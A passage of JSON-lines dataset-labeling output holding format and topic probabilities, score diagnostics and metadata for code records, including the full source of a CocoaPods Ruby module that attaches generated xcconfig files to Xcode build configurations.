"mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11014, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11014, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:14.274279+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "6f371b8b-fd69-402a-bb7d-1f663a9dcdc8", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "1b4bbd4e3ee41f9b5ce8db757279f455538cb67da40c542763e6bc52f4bd3dbd", "source_metadata": {"uuid": "6f371b8b-fd69-402a-bb7d-1f663a9dcdc8", "repo_name": "brighton36/CoinPost", "relative_path": "rails/ruby/1.9.1/gems/money-5.0.0/lib/money/currency.rb", "category": "TOOL", "algo_rel_score": 0.92357337474823, "quality_score": 4.271183967590332, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 6, "repo_created_at": "2013-10-02T19:02:05.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 49, "forks": 26, "issues": 4, "pull_requests": 0}, "file_meta": {"content_id": "dd63e151d11f35e3ef19f1c4888b557f2bd68a63", "size_bytes": 8700, "file_timestamp": 1428698002, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "2e95a17ce2bafe478763f8956abd0577aa0f9a90"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 6, "repo_created_at": "2013-10-02T19:02:05.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 49, "forks": 26, "issues": 4, "pull_requests": 0}, "file_meta": {"content_id": "dd63e151d11f35e3ef19f1c4888b557f2bd68a63", "size_bytes": 8700, "file_timestamp": 1428698002, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "2e95a17ce2bafe478763f8956abd0577aa0f9a90", "url": "https://github.com/brighton36/CoinPost/blob/2e95a17ce2bafe478763f8956abd0577aa0f9a90/rails/ruby/1.9.1/gems/money-5.0.0/lib/money/currency.rb"}, "gpt4o_tokens": 2336, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2774266595670634, "noise_severity": 0.05673630792082668, "missing_content_severity": 0.03719609697546951, "factual_density": 3.2528010166728247, "pretraining_utility": 0.5774743803074808, "math_density": 0.6953346940677916, "code_density": 3.623620756402282, "reasoning_density": 0.4044242833731968, "education_level": 2.1480522913048237, "creative_writing_quality": -0.19188832285501953}, "score_applicability": {"education_level": 0.998563295603701, "creative_writing_quality": 0.0004233317951102846}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/morizotter/SwiftyDrop/blob/a4e7ba1c225cec63740b55bf73b4082756d2f070/vendor/bundle/gems/cocoapods-1.5.3/lib/cocoapods/installer/user_project_integrator/target_integrator/xcconfig_integrator.rb", "id": "ruby-0-6226bc7b5d4467933bd1e3eb096aa446", "text": "module Pod\n class Installer\n class UserProjectIntegrator\n class TargetIntegrator\n # Configures an user target to use the CocoaPods xcconfigs which allow\n # lo link against the Pods.\n #\n class XCConfigIntegrator\n # Integrates the user target.\n #\n # @param [Target::AggregateTarget] pod_bundle\n # The Pods bundle.\n #\n # @param [Array] targets\n # The native targets associated which should be integrated\n # with the Pod bundle.\n #\n def self.integrate(pod_bundle, targets)\n targets.each do |target|\n target.build_configurations.each do |config|\n set_target_xcconfig(pod_bundle, target, config)\n end\n end\n end\n\n private\n\n # @!group Integration steps\n #-------------------------------------------------------------------#\n\n # Creates a file reference to the xcconfig generated by\n # CocoaPods (if needed) and sets it as the base configuration of\n # build configuration of the user target.\n #\n # @param [Target::AggregateTarget] pod_bundle\n # The Pods bundle.\n #\n # @param [PBXNativeTarget] target\n # The native target.\n #\n # @param [Xcodeproj::XCBuildConfiguration] config\n # The build configuration.\n #\n def self.set_target_xcconfig(pod_bundle, target, config)\n path = pod_bundle.xcconfig_relative_path(config.name)\n group = config.project['Pods'] || config.project.new_group('Pods')\n file_ref = group.files.find { |f| f.path == path }\n existing = config.base_configuration_reference\n\n set_base_configuration_reference = ->() do\n file_ref ||= group.new_file(path)\n config.base_configuration_reference = file_ref\n end\n\n if existing && existing != file_ref\n if existing.real_path.to_path.start_with?(pod_bundle.sandbox.root.to_path << '/')\n set_base_configuration_reference.call\n elsif !xcconfig_includes_target_xcconfig?(config.base_configuration_reference, path)\n unless existing_config_is_identical_to_pod_config?(existing.real_path, pod_bundle.xcconfig_path(config.name))\n UI.warn 'CocoaPods did not set the base configuration of your ' \\\n 'project because your project already has a custom ' \\\n 'config set. In order for CocoaPods integration to work at ' \\\n 'all, please either set the base configurations of the target ' \\\n \"`#{target.name}` to `#{path}` or include the `#{path}` in your \" \\\n \"build configuration (#{UI.path(existing.real_path)}).\"\n end\n end\n elsif config.base_configuration_reference.nil? || file_ref.nil?\n set_base_configuration_reference.call\n end\n end\n\n private\n\n # @!group Private helpers\n #-------------------------------------------------------------------#\n\n # Prints a warning informing the user that a build configuration of\n # the integrated target is overriding the CocoaPods build settings.\n #\n # @param [Target::AggregateTarget] pod_bundle\n # The Pods bundle.\n #\n # @param [XcodeProj::PBXNativeTarget] target\n # The native target.\n #\n # @param [Xcodeproj::XCBuildConfiguration] config\n # The build configuration.\n #\n # @param [String] key\n # The key of the overridden build setting.\n #\n def self.print_override_warning(pod_bundle, target, config, key)\n actions = [\n 'Use the `$(inherited)` flag, or',\n 'Remove the build settings from the target.',\n ]\n message = \"The `#{target.name} [#{config.name}]` \" \\\n \"target overrides the `#{key}` build setting defined in \" \\\n \"`#{pod_bundle.xcconfig_relative_path(config.name)}'. \" \\\n 'This can lead to problems with the CocoaPods installation'\n UI.warn(message, actions)\n end\n\n # Naively checks to see if a given PBXFileReference imports a given\n # path.\n #\n # @param [PBXFileReference] base_config_ref\n # A file reference to an `.xcconfig` file.\n #\n # @param [String] target_config_path\n # The path to check for.\n #\n SILENCE_WARNINGS_STRING = '// @COCOAPODS_SILENCE_WARNINGS@ //'\n def self.xcconfig_includes_target_xcconfig?(base_config_ref, target_config_path)\n return unless base_config_ref && base_config_ref.real_path.file?\n regex = %r{\n ^(\n (\\s* # Possible, but unlikely, space before include statement\n \\#include\\s+ # Include statement\n ['\"] # Open quote\n (.*\\/)? # Possible prefix to path\n #{Regexp.quote(target_config_path)} # The path should end in the target_config_path\n ['\"] # Close quote\n )\n |\n (#{Regexp.quote(SILENCE_WARNINGS_STRING)}) # Token to treat xcconfig as good and silence pod install warnings\n )\n }x\n base_config_ref.real_path.readlines.find { |line| line =~ regex }\n end\n\n # Checks to see if the config files at two paths exist and are identical\n #\n # @param The existing config path\n #\n # @param The pod config path\n #\n def self.existing_config_is_identical_to_pod_config?(existing_config_path, pod_config_path)\n existing_config_path.file? && (!pod_config_path.file? || FileUtils.compare_file(existing_config_path, pod_config_path))\n end\n end\n end\n end\n end\nend\n", "text_preview": "module Pod class Installer class UserProjectIntegrator class TargetIntegrator # Configures an user target to use the CocoaPods xcconfigs which allow # lo link against the Pods. # class XCConfigIntegrator # Integrates the user target. # # @p", "input_sha256": "cbccd9a0f63e907732d42cafa93d453ae7d5884ea954355429d627221f1d32f0", "text_sha256": "6226bc7b5d4467933bd1e3eb096aa44671af622f244999ffa9e3507efd2e57eb", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16052, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9360015758360989, "noise_severity": 0.026659394477832048, "missing_content_severity": 0.03769774073635803, "factual_density": 3.460660053654466, "pretraining_utility": 0.3239214779307195, "math_density": 0.00802305183349942, "code_density": 3.8019188605981973, "reasoning_density": 1.3715678536815918, "education_level": 2.920584811186138, "creative_writing_quality": -0.16341370874415034}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007562043112443351, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9981960812834554, "secondary": 0.9857619134653115, "tertiary": 0.9936527410609045, "structured_records": 0.001258119809238516, "procedural_steps": 0.0284518458506378, "worked_solution": 0.001169467375781897, "contextual_dialogue": 5.131139391938832e-06, "content_quality": 0.5268877088632635, "noise_severity": 0.97778383793514, "missing_content_severity": 0.9685852160530349, "factual_density": 0.5505500447120545, "pretraining_utility": 0.48844524579085324, "math_density": 0.9933141234720838, "code_density": 0.8349323838318312, "reasoning_density": 0.0, "education_level": 0.4660673809260635, "creative_writing_quality": 0.999395259395812, "primary_topic": 0.9955216750400363, "secondary_topic": 0.98070049999857}, "probability_margin": {"primary": 0.9975382908055416, "secondary": 0.9782552459024525, "tertiary": 0.9910728875489331, "education_level": 0.3056567229522088, "creative_writing_quality": 0.9992478925987327, "primary_topic": 0.9924637865686651, "secondary_topic": 0.9717342809326639}, "raw_probabilities": {"primary": {"Academic Writing": 2.285436855582016e-05, "Content Listing": 1.433353571418586e-05, "Creative Writing": 1.1460285169368937e-05, "Customer Support Page": 1.1330879728249212e-05, "Q&A Forum": 7.608614849131103e-06, "Discussion Thread": 4.192399798142288e-06, "Comment Section": 7.174361867650611e-06, "Missing Content": 2.3464653102290362e-05, "Knowledge Article": 8.999949135144552e-05, "Legal Notices": 2.4273157441273536e-05, "News Article": 2.664816503813619e-06, "Organizational Announcement": 6.734090044136702e-06, "Nonfiction Writing": 5.49522402068422e-06, "Organizational About Page": 7.103861588061297e-06, "Personal About Page": 6.137581133797518e-06, "Personal Blog": 4.403064417787403e-06, "Product Page": 5.063729225830316e-06, "Spam / Ads": 6.179398109996279e-06, "Structured Data": 0.0005122442069751221, "Technical Writing": 0.9982712445633114, "Transcript / Interview": 9.670427635463499e-06, "Tutorial / How-To Guide": 0.00020952666609684004, "User Reviews": 3.886865589808545e-06, "Other / Unknown": 0.0007329537577697801}, "secondary": {"Academic Writing": 9.187064808339129e-05, "Content Listing": 5.394851116626168e-05, "Creative Writing": 9.099719055186573e-05, "Customer Support Page": 0.0005065594649486019, "Q&A Forum": 3.0195475447109872e-05, "Discussion Thread": 2.1529986873219917e-05, "Comment Section": 6.40381068384861e-05, "Missing Content": 0.00041799627917674657, "Knowledge Article": 0.0009527011141699228, "Legal Notices": 0.00010531690807517684, "News Article": 3.7353221643684024e-05, "Organizational Announcement": 4.36866692340511e-05, "Nonfiction Writing": 3.564447768735374e-05, "Organizational About Page": 4.835874085728224e-05, "Personal About Page": 3.663881553370209e-05, "Personal Blog": 3.2847943423330166e-05, "Product Page": 2.5560946008841483e-05, "Spam / Ads": 4.3441507217980134e-05, "Structured Data": 0.0016651776229877563, "Technical Writing": 0.008099921168471028, "Transcript / Interview": 5.212985794211141e-05, "Tutorial / How-To Guide": 0.00116852905531748, "User Reviews": 2.0389217421137088e-05, "NONE": 0.9863551670709235}, "tertiary": {"Academic Writing": 5.840970430901039e-05, "Content Listing": 4.8997859467148023e-05, "Creative Writing": 5.948958026671598e-05, "Customer Support Page": 0.00022444924694200137, "Q&A Forum": 2.0001823300160882e-05, "Discussion Thread": 1.4280521806331897e-05, "Comment Section": 5.315404319997227e-05, "Missing Content": 0.0004514219502240577, "Knowledge Article": 0.0005585116469177952, "Legal Notices": 0.0001378584757177075, "News Article": 3.187656812131147e-05, "Organizational Announcement": 3.1467059919575366e-05, "Nonfiction Writing": 3.0505683518676314e-05, "Organizational About Page": 4.5997787852276094e-05, "Personal About Page": 2.364146271582468e-05, "Personal Blog": 2.203659206188147e-05, "Product Page": 2.0303422044350292e-05, "Spam / Ads": 3.1376562136191774e-05, "Structured Data": 0.0006450703940893363, "Technical Writing": 0.0028443226344337645, "Transcript / Interview": 3.043682669927875e-05, "Tutorial / How-To Guide": 0.0006816849869305603, "User Reviews": 1.7494983959248432e-05, "NONE": 0.9939172101833669}, "structured_records": {"false": 0.9987418801907615, "true": 0.001258119809238516}, "procedural_steps": {"false": 0.9715481541493622, "true": 0.0284518458506378}, "worked_solution": {"false": 0.9988305326242181, "true": 0.001169467375781897}, "contextual_dialogue": {"false": 0.9999948688606081, "true": 5.131139391938832e-06}, "content_quality": {"-2": 0.007490682177867064, "-1": 0.033947330887055115, "0": 0.22549987845628108, "1": 0.48119394587870556, "2": 0.25186816260009126}, "noise_severity": {"0": 0.977647328721724, "1": 0.019392653195595945, "2": 0.0019207572244579545, "3": 0.000731816599569095, "4": 0.00030744425865322815}, "missing_content_severity": {"0": 0.976300623957774, "1": 0.012627064772878617, "2": 0.008590224249461176, "3": 0.0020381206149879664, "4": 0.00044396640489829015}, "factual_density": {"0": 0.004352633552309973, "1": 0.008496796375366777, "2": 0.08006890610137445, "3": 0.3363012108074455, "4": 0.5707804531635032}, "pretraining_utility": {"-2": 0.00913378282285294, "-1": 0.1267045479144224, "0": 0.4473200871853807, "1": 0.36478957266384016, "2": 0.05205200941350382}, "math_density": {"0": 0.9953030447439467, "1": 0.0032953965642317025, "2": 0.0003081133928920455, "3": 0.0002623527122337494, "4": 0.0008310925866955941}, "code_density": {"0": 0.00036691888430086445, "1": 0.0007365609976356907, "2": 0.020938663651189467, "3": 0.15252645356931316, "4": 0.8254314028975608}, "reasoning_density": {"0": 0.3725744647882846, "1": 0.21234059259295765, "2": 0.17721056607231644, "3": 0.14669137724176345, "4": 0.09118299930467771}, "education_level": {"none": 0.0016765599284824463, "0": 0.001709793421800815, "1": 0.005637101488052277, "2": 0.24939942781951074, "3": 0.5550561507717195, "4": 0.18652096657043424}, "creative_writing_quality": {"not_applicable": 0.9994960494965099, "-2": 4.1380589707590675e-05, "-1": 0.00011849227064321993, "0": 0.0002481568977772856, "1": 7.294046146437072e-05, "2": 2.2980283897617027e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.2965050264688266e-05, "Art & Design": 3.662565022173041e-05, "Law & Crime": 3.9390988000900935e-05, "Education & Careers": 2.7515553591277986e-05, "Entertainment & Media": 2.065773457602928e-05, "Fashion & Beauty": 1.2156430988091107e-05, "Business, Economics & Finance": 2.960546013427398e-05, "Food & Dining": 1.5457556063627864e-05, "Games & Gaming": 0.00010754123656750618, "Electronics & Hardware": 0.00011307313005421552, "Health, Healthcare & Wellness": 1.528647682828148e-05, "History & Geography": 1.930359196010136e-05, "Home, Pets & Hobbies": 1.943614118420436e-05, "Industry & Production": 2.7285678213319134e-05, "Language, Literature & Philosophy": 3.227957436079957e-05, "Politics & Government": 1.3867974789849393e-05, "Religion & Spirituality": 2.0436808310253856e-05, "Science, Mathematics & Engineering": 0.00018377838768048678, "Relationships & Community": 1.3381648761686894e-05, "Software Usage & Applications": 0.0032301317390621503, "Programming & Software Engineering": 0.9956939183077272, "Sports & Fitness": 3.6326524438613444e-05, "Vehicles & Transportation": 1.372737754732724e-05, "Travel & Tourism": 5.2726602550787744e-05, "Other / Uncovered Subject": 0.00012592151700470012, "Unknown / Insufficient Content": 6.720285911814911e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00012716634378867484, "Art & Design": 0.00010752652466754625, "Law & Crime": 0.00015627495547506168, "Education & Careers": 7.905691644918638e-05, "Entertainment & Media": 8.390762005667568e-05, "Fashion & Beauty": 3.9641730811412995e-05, "Business, Economics & Finance": 9.398995740619006e-05, "Food & Dining": 3.766411299329217e-05, "Games & Gaming": 0.00021846557991698172, "Electronics & Hardware": 0.00020247816918005462, "Health, Healthcare & Wellness": 4.423837337250045e-05, "History & Geography": 4.350090290312724e-05, "Home, Pets & Hobbies": 3.6330891275116095e-05, "Industry & Production": 3.848723293368813e-05, "Language, Literature & Philosophy": 4.952464547482078e-05, "Politics & Government": 5.265567655722996e-05, "Religion & Spirituality": 5.641446833511792e-05, "Science, Mathematics & Engineering": 0.000246453394523388, "Relationships & Community": 3.546391224481737e-05, "Software Usage & Applications": 0.009708507527499499, "Programming & Software Engineering": 0.006802957105125293, "Sports & Fitness": 4.6216138076567526e-05, "Vehicles & Transportation": 2.2013965209929117e-05, "Travel & Tourism": 0.00010930510939940869, "Other / Uncovered Subject": 0.00011897028616099394, "NONE": 0.9814427884601634}}, "probabilities": {"primary": {"Academic Writing": 2.285436855582016e-05, "Content Listing": 1.433353571418586e-05, "Creative Writing": 1.1460285169368937e-05, "Customer Support Page": 1.1330879728249212e-05, "Q&A Forum": 7.608614849131103e-06, "Discussion Thread": 4.192399798142288e-06, "Comment Section": 7.174361867650611e-06, "Missing Content": 2.3464653102290362e-05, "Knowledge Article": 8.999949135144552e-05, "Legal Notices": 2.4273157441273536e-05, "News Article": 2.664816503813619e-06, "Organizational Announcement": 6.734090044136702e-06, "Nonfiction Writing": 5.49522402068422e-06, "Organizational About Page": 7.103861588061297e-06, "Personal About Page": 6.137581133797518e-06, "Personal Blog": 4.403064417787403e-06, "Product Page": 5.063729225830316e-06, "Spam / Ads": 6.179398109996279e-06, "Structured Data": 0.0005122442069751221, "Technical Writing": 0.9982712445633114, "Transcript / Interview": 9.670427635463499e-06, "Tutorial / How-To Guide": 0.00020952666609684004, "User Reviews": 3.886865589808545e-06, "Other / Unknown": 0.0007329537577697801}, "secondary": {"Academic Writing": 9.187064808339129e-05, "Content Listing": 5.394851116626168e-05, "Creative Writing": 9.099719055186573e-05, "Customer Support Page": 0.0005065594649486019, "Q&A Forum": 3.0195475447109872e-05, "Discussion Thread": 2.1529986873219917e-05, "Comment Section": 6.40381068384861e-05, "Missing Content": 0.00041799627917674657, "Knowledge Article": 0.0009527011141699228, "Legal Notices": 0.00010531690807517684, "News Article": 3.7353221643684024e-05, "Organizational Announcement": 4.36866692340511e-05, "Nonfiction Writing": 3.564447768735374e-05, "Organizational About Page": 4.835874085728224e-05, "Personal About Page": 3.663881553370209e-05, "Personal Blog": 3.2847943423330166e-05, "Product Page": 2.5560946008841483e-05, "Spam / Ads": 4.3441507217980134e-05, "Structured Data": 0.0016651776229877563, "Technical Writing": 0.008099921168471028, "Transcript / Interview": 5.212985794211141e-05, "Tutorial / How-To Guide": 0.00116852905531748, "User Reviews": 2.0389217421137088e-05, "NONE": 0.9863551670709235}, "tertiary": {"Academic Writing": 5.840970430901039e-05, "Content Listing": 4.8997859467148023e-05, "Creative Writing": 5.948958026671598e-05, "Customer Support Page": 0.00022444924694200137, "Q&A Forum": 2.0001823300160882e-05, "Discussion Thread": 1.4280521806331897e-05, "Comment Section": 5.315404319997227e-05, "Missing Content": 0.0004514219502240577, "Knowledge Article": 0.0005585116469177952, "Legal Notices": 0.0001378584757177075, "News Article": 3.187656812131147e-05, "Organizational Announcement": 3.1467059919575366e-05, "Nonfiction Writing": 3.0505683518676314e-05, "Organizational About Page": 4.5997787852276094e-05, "Personal About Page": 2.364146271582468e-05, "Personal Blog": 2.203659206188147e-05, "Product Page": 2.0303422044350292e-05, "Spam / Ads": 3.1376562136191774e-05, "Structured Data": 0.0006450703940893363, "Technical Writing": 0.0028443226344337645, "Transcript / Interview": 3.043682669927875e-05, "Tutorial / How-To Guide": 0.0006816849869305603, "User Reviews": 1.7494983959248432e-05, "NONE": 0.9939172101833669}, "structured_records": {"false": 0.9987418801907615, "true": 0.001258119809238516}, "procedural_steps": {"false": 0.9715481541493622, "true": 0.0284518458506378}, "worked_solution": {"false": 0.9988305326242181, "true": 0.001169467375781897}, "contextual_dialogue": {"false": 0.9999948688606081, "true": 5.131139391938832e-06}, "content_quality": {"-2": 0.007490682177867064, "-1": 0.033947330887055115, "0": 0.22549987845628108, "1": 0.48119394587870556, "2": 0.25186816260009126}, "noise_severity": {"0": 0.9776473287217238, "1": 0.01939265319559594, "2": 0.0019207572244579541, "3": 0.0007318165995690949, "4": 0.0003074442586532281}, "missing_content_severity": {"0": 0.976300623957774, "1": 0.012627064772878617, "2": 0.008590224249461176, "3": 0.0020381206149879664, "4": 0.00044396640489829015}, "factual_density": {"0": 0.004352633552309974, "1": 0.008496796375366778, "2": 0.08006890610137446, "3": 0.33630121080744557, "4": 0.5707804531635033}, "pretraining_utility": {"-2": 0.00913378282285294, "-1": 0.1267045479144224, "0": 0.4473200871853807, "1": 0.36478957266384016, "2": 0.05205200941350382}, "math_density": {"0": 0.9953030447439469, "1": 0.0032953965642317034, "2": 0.00030811339289204555, "3": 0.00026235271223374945, "4": 0.0008310925866955943}, "code_density": {"0": 0.00036691888430086445, "1": 0.0007365609976356907, "2": 0.020938663651189467, "3": 0.15252645356931316, "4": 0.8254314028975608}, "reasoning_density": {"0": 0.37257446478828465, "1": 0.21234059259295768, "2": 0.17721056607231647, "3": 0.14669137724176348, "4": 0.09118299930467773}, "education_level": {"none": 0.0016765599284824463, "0": 0.001709793421800815, "1": 0.005637101488052277, "2": 0.24939942781951074, "3": 0.5550561507717195, "4": 0.18652096657043424}, "creative_writing_quality": {"not_applicable": 0.9994960494965099, "-2": 4.1380589707590675e-05, "-1": 0.00011849227064321993, "0": 0.0002481568977772856, "1": 7.294046146437072e-05, "2": 2.2980283897617027e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.296505026468826e-05, "Art & Design": 3.6625650221730404e-05, "Law & Crime": 3.939098800090093e-05, "Education & Careers": 2.751555359127798e-05, "Entertainment & Media": 2.0657734576029276e-05, "Fashion & Beauty": 1.2156430988091104e-05, "Business, Economics & Finance": 2.9605460134273974e-05, "Food & Dining": 1.545755606362786e-05, "Games & Gaming": 0.00010754123656750615, "Electronics & Hardware": 0.00011307313005421549, "Health, Healthcare & Wellness": 1.5286476828281475e-05, "History & Geography": 1.9303591960101357e-05, "Home, Pets & Hobbies": 1.9436141184204357e-05, "Industry & Production": 2.7285678213319127e-05, "Language, Literature & Philosophy": 3.227957436079956e-05, "Politics & Government": 1.386797478984939e-05, "Religion & Spirituality": 2.0436808310253853e-05, "Science, Mathematics & Engineering": 0.00018377838768048673, "Relationships & Community": 1.338164876168689e-05, "Software Usage & Applications": 0.0032301317390621494, "Programming & Software Engineering": 0.995693918307727, "Sports & Fitness": 3.632652443861344e-05, "Vehicles & Transportation": 1.3727377547327236e-05, "Travel & Tourism": 5.272660255078773e-05, "Other / Uncovered Subject": 0.0001259215170047001, "Unknown / Insufficient Content": 6.72028591181491e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00012716634378867484, "Art & Design": 0.00010752652466754625, "Law & Crime": 0.00015627495547506168, "Education & Careers": 7.905691644918638e-05, "Entertainment & Media": 8.390762005667568e-05, "Fashion & Beauty": 3.9641730811412995e-05, "Business, Economics & Finance": 9.398995740619006e-05, "Food & Dining": 3.766411299329217e-05, "Games & Gaming": 0.00021846557991698172, "Electronics & Hardware": 0.00020247816918005462, "Health, Healthcare & Wellness": 4.423837337250045e-05, "History & Geography": 4.350090290312724e-05, "Home, Pets & Hobbies": 3.6330891275116095e-05, "Industry & Production": 3.848723293368813e-05, "Language, Literature & Philosophy": 4.952464547482078e-05, "Politics & Government": 5.265567655722996e-05, "Religion & Spirituality": 5.641446833511792e-05, "Science, Mathematics & Engineering": 0.000246453394523388, "Relationships & Community": 3.546391224481737e-05, "Software Usage & Applications": 0.009708507527499499, "Programming & Software Engineering": 0.006802957105125293, "Sports & Fitness": 4.6216138076567526e-05, "Vehicles & Transportation": 2.2013965209929117e-05, "Travel & Tourism": 0.00010930510939940869, "Other / Uncovered Subject": 0.00011897028616099394, "NONE": 0.9814427884601634}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9852, 